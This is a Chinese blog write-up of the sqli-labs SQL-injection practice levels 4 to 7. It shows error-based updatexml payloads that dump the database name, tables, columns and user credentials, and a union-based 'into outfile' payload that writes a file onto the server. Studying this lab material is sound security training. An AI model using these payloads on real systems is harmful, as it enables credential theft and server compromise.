less 4-7

LESS--4

先试一下单引号,发现没有效果,不报错,然后根据题目用双引号,报错。

 根据报错的内容可以发现,参数ID是包括在一对双引号和括号之中的。和上一题类似,构造注入查询语句。

") and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

 接下来的步骤和之前一样。

 

 

 LESS--5

知道数据库名是security之后,开始爆库。

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),1)--+

 找到其中有一个users的表,一般就是我们需要找的表。然后查看表的字段名。

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1)--+

发现字段分别是id username password.。好了,有username和password我们就开始爆数据。

' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),1)--+

 

第一个用户,用户名和密码都是Dumb。然后把limit后面的参数修改一下,就能查看其他用户的信息了,limit 0,1是第一个数据,limit 1,1是第二个数据,注意limit和substr不一样,limit是从0开始的,而substr是从1开始的。

LESS--6

 和上一题不同的是这题是加双引号进行注入。其他都一样。

 LESS--7

 

 添加单引号,发现报错,猜测可能是字符型的注入。

首先添加单引号报错,再添加and 1=1 --+ 发现报错 认为不是单纯的单引号的类型,应该是还有其他的字符, 比如两个单引号,或者单引号括号, 或者单引号双引号, 单引号单引号括号之类的。

payload:?id=1')) union select 1,2,3 into outfile "C:\wamp\www\sql\Less-7\test.txt"--+

测试是否写入:

 发现确实存在,已经成功写入。

原文地址:https://www.cnblogs.com/baifan2618/p/12225776.html